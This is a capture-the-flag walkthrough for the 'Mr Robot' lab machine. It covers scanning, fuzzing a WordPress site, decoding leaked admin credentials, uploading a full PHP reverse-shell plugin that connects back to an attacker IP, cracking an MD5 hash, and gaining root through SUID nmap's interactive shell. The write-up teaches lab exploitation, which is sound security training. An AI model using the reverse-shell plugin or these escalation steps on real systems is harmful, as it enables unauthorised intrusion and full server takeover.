Machine name | OS | IP | Difficulty |
---|---|---|---|
Mr Robot | Linux | 10.10.145.145 | Medium |
User
- Check if the host is responding
First, let's verify that we can reach the host using a simple ping
command:
└─# ping 10.10.145.145
PING 10.10.145.145 (10.10.145.145) 56(84) bytes of data.
64 bytes from 10.10.145.145: icmp_seq=1 ttl=61 time=574 ms
64 bytes from 10.10.145.145: icmp_seq=2 ttl=61 time=556 ms
- Check the running services
Let's check all running services and their versions using the nmap
command:
└─# nmap -sV -sC 10.10.145.145 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.145.145
Host is up (0.56s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.75 seconds
-sV
- to get services with their versions.-sC
- to use default scripts.-Pn
- to skip the ping (as we already checked it in the first step).
The output shows that there are 2 running services with opened ports:
- Port
80
- http, Apache web server. - Port
443
- ssl/http, Apache httpd web server.
| NOTE: Port 22
- SSH seems to be closed.
The operating system of the machine is unknown (probably Linux, based on the SSH and Apache; we will verify this later).
- Examine the web application
└─# whatweb 10.10.145.145
http://10.10.145.145 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.145.145], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]
The main page:
Technologies identified by Wappalyzer
:
Hmm, the application is using WordPress CMS
, and there is a login endpoint:
- http://10.10.145.145/wp-admin/
But we don't have credentials, and the default ones don't work (like
admin:admin
).
The application allows us to send commands, but each command just displays a video or image from Mr. Robot (by the way - great series about hacking :-) - ).
- Fuzzing the application
Using feroxbuster, we can try fuzzing the application to find something more interesting:
└─# feroxbuster -u http://10.10.145.145 -w /usr/share/wordlists/dirb/common.txt --depth 1 --filter-status 404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.145.145
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 1
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 24w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 137l 464w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 155w 8640c http://10.10.145.145/css/A.main-600a9791.css.pagespeed.cf.NeB1LhpkkB.css
200 GET 30l 98w 1188c http://10.10.145.145/index.html
200 GET 61l 849w 50555c http://10.10.145.145/js/s_code.js.pagespeed.jm.I78cfHQpbQ.js
200 GET 1l 2254w 182004c http://10.10.145.145/js/vendor/vendor-48ca455c.js.pagespeed.jm.V7Qfw6bd5C.js
200 GET 820l 6033w 239300c http://10.10.145.145/js/main-acba06a5.js.pagespeed.jm.YdSb2z1rih.js
200 GET 30l 98w 1188c http://10.10.145.145/
301 GET 0l 0w 0c http://10.10.145.145/0 => http://10.10.145.145/0/
301 GET 7l 20w 235c http://10.10.145.145/admin => http://10.10.145.145/admin/
301 GET 0l 0w 0c http://10.10.145.145/atom => http://10.10.145.145/feed/atom/
301 GET 7l 20w 235c http://10.10.145.145/audio => http://10.10.145.145/audio/
301 GET 7l 20w 234c http://10.10.145.145/blog => http://10.10.145.145/blog/
301 GET 7l 20w 233c http://10.10.145.145/css => http://10.10.145.145/css/
302 GET 0l 0w 0c http://10.10.145.145/dashboard => http://10.10.145.145/wp-admin/
200 GET 0l 0w 0c http://10.10.145.145/favicon.ico
301 GET 0l 0w 0c http://10.10.145.145/feed => http://10.10.145.145/feed/
301 GET 7l 20w 236c http://10.10.145.145/images => http://10.10.145.145/images/
200 GET 1l 155w 8596c http://10.10.145.145/css/main-600a9791.css
301 GET 0l 0w 0c http://10.10.145.145/image => http://10.10.145.145/image/
301 GET 0l 0w 0c http://10.10.145.145/Image => http://10.10.145.145/Image/
200 GET 636l 2179w 55357c http://10.10.145.145/js/s_code.js
200 GET 6l 2259w 182009c http://10.10.145.145/js/vendor/vendor-48ca455c.js
301 GET 0l 0w 0c http://10.10.145.145/index.php => http://10.10.145.145/
200 GET 10295l 53814w 495992c http://10.10.145.145/js/main-acba06a5.js
200 GET 2028l 11941w 936742c http://10.10.145.145/intro
301 GET 7l 20w 232c http://10.10.145.145/js => http://10.10.145.145/js/
200 GET 156l 27w 309c http://10.10.145.145/license
302 GET 0l 0w 0c http://10.10.145.145/login => http://10.10.145.145/wp-login.php
301 GET 0l 0w 0c http://10.10.145.145/page1 => http://10.10.145.145/
403 GET 1l 14w 94c http://10.10.145.145/phpmyadmin
200 GET 1l 14w 64c http://10.10.145.145/readme
301 GET 0l 0w 0c http://10.10.145.145/rdf => http://10.10.145.145/feed/rdf/
200 GET 3l 4w 41c http://10.10.145.145/robots
200 GET 3l 4w 41c http://10.10.145.145/robots.txt
301 GET 0l 0w 0c http://10.10.145.145/rss => http://10.10.145.145/feed/
301 GET 0l 0w 0c http://10.10.145.145/rss2 => http://10.10.145.145/feed/
200 GET 0l 0w 0c http://10.10.145.145/sitemap
200 GET 0l 0w 0c http://10.10.145.145/sitemap.xml
301 GET 7l 20w 235c http://10.10.145.145/video => http://10.10.145.145/video/
301 GET 7l 20w 238c http://10.10.145.145/wp-admin => http://10.10.145.145/wp-admin/
200 GET 0l 0w 0c http://10.10.145.145/wp-config
200 GET 0l 0w 0c http://10.10.145.145/wp-cron
301 GET 7l 20w 240c http://10.10.145.145/wp-content => http://10.10.145.145/wp-content/
200 GET 0l 0w 0c http://10.10.145.145/wp-load
200 GET 10l 22w 227c http://10.10.145.145/wp-links-opml
301 GET 7l 20w 241c http://10.10.145.145/wp-includes => http://10.10.145.145/wp-includes/
500 GET 0l 0w 0c http://10.10.145.145/wp-settings
500 GET 109l 300w 3064c http://10.10.145.145/wp-mail
302 GET 0l 0w 0c http://10.10.145.145/wp-signup => http://10.10.145.145/wp-login.php?action=register
200 GET 1l 248w 6048c http://10.10.145.145/wp-includes/css/buttons.min.css,qver=4.3.1.pagespeed.ce.ZQERzcrubG.css
200 GET 1l 688w 24200c http://10.10.145.145/wp-admin/css/login.min.css
302 GET 0l 0w 0c http://10.10.145.145/wp-admin/ => http://10.10.145.145/wp-login.php?redirect_to=http%3A%2F%2F10.10.145.145%2Fwp-admin%2F&reauth=1
200 GET 53l 158w 2671c http://10.10.145.145/wp-login.php
405 GET 1l 6w 42c http://10.10.145.145/xmlrpc
200 GET 1l 10w 46120c http://10.10.145.145/wp-includes/css/dashicons.min.css,qver=4.3.1.pagespeed.ce.5l-W1PUiez.css
200 GET 53l 158w 2671c http://10.10.145.145/wp-login
405 GET 1l 6w 42c http://10.10.145.145/xmlrpc.php
[####################] - 5m 4649/4649 0s found:56 errors:286
[####################] - 5m 4614/4614 15/s http://10.10.145.145/
Here are a few interesting endpoints:
- http://10.10.145.145/robots.txt
- http://10.10.145.145/sitemap.xml
- http://10.10.145.145/license (Why is it displaying a license?)
The robots.txt
file looks like this:
The http://10.10.145.145/key-1-of-3.txt
shows the first flag.
The http://10.10.145.145/fsocity.dic
shows some directory, which we can try to use for brute-forcing the login. But that's quite loud and time-consuming (and the machine is really slow, this will take a long time), so let's try harder to find something else.
The http://10.10.145.145/sitemap.xml
is empty.
The http://10.10.145.145/license
shows some text, and at the bottom of the page, there is some base64 encoded text. Using the following commands:
echo "<base64>" | base64 -d
We retrieve the username and password for http://10.10.145.145/wp-admin/
(WordPress administrator).
- Exploiting the WordPress application
The WordPress application is quite old and has several CVEs and vulnerabilities.
But first, let's create an RCE using a plugin. Create the file exploit.php
:
└─# cat exploit.php
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.4.92.58'; // CHANGE THIS
$port = 8888; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
And create a zip file using the following command:
zip exploit.zip exploit.php
And let's upload it to WordPress:
And get a reverse shell as the daemon
user:
| NOTE: Great blog about how to create an RCE using a WordPress plugin - https://sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell
- Horizontal Privilege Escalation
There is a user robot
and a hash inside /home/robot/password.raw-md5
. The hash is MD5
, as the name of the file suggests. :-)
Let's try to crack it using a rainbow table (precalculated hashes that you can search through to find the password and its hash). A great website for this is CrackStation.
And we got a password for the user robot
. There is a second key inside the home folder: /home/robot/key-2-of-3.txt
.
Root
- Make better shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
export TERM=xterm
This way, the shell supports command completion, CTRL+C
can be used to interrupt the current process, and copy-pasting is much more user-friendly.
- Put some useful tools on the server into the
/tmp
folder
linenum
- LINENUM - used for local information enumeration.linpeas
- LINPEAS - used for finding ways to escalate the privileges.pspy
- PSPY - used for snoop on processes.
- Running the
linpeas
Linpeas found the nmap binary with the SUID bit set, which is unusual.
| NOTE: https://vk9-sec.com/nmap-privilege-escalation/ - a great blog about privilege escalation using nmap.
- Gaining root access
Using nmap
in interactive mode, we can gain root access (because nmap
has the SUID bit set and is owned by root
).
Using the following command:
/usr/local/bin/nmap --interactive
We will start the interactive mode, and from there, we can launch the shell:
!sh
The third flag is located inside /root/key-3-of-3.txt
.
Assumptions verifications
- Running OS
We assumed, based on the SSH service, that the running OS is Linux
(unknown distribution). Let's verify this using the uname -a
and cat /etc/os-release
commands:
# uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04.2 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.2 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
Running OS - Ubuntu 14.04.2 LTS
.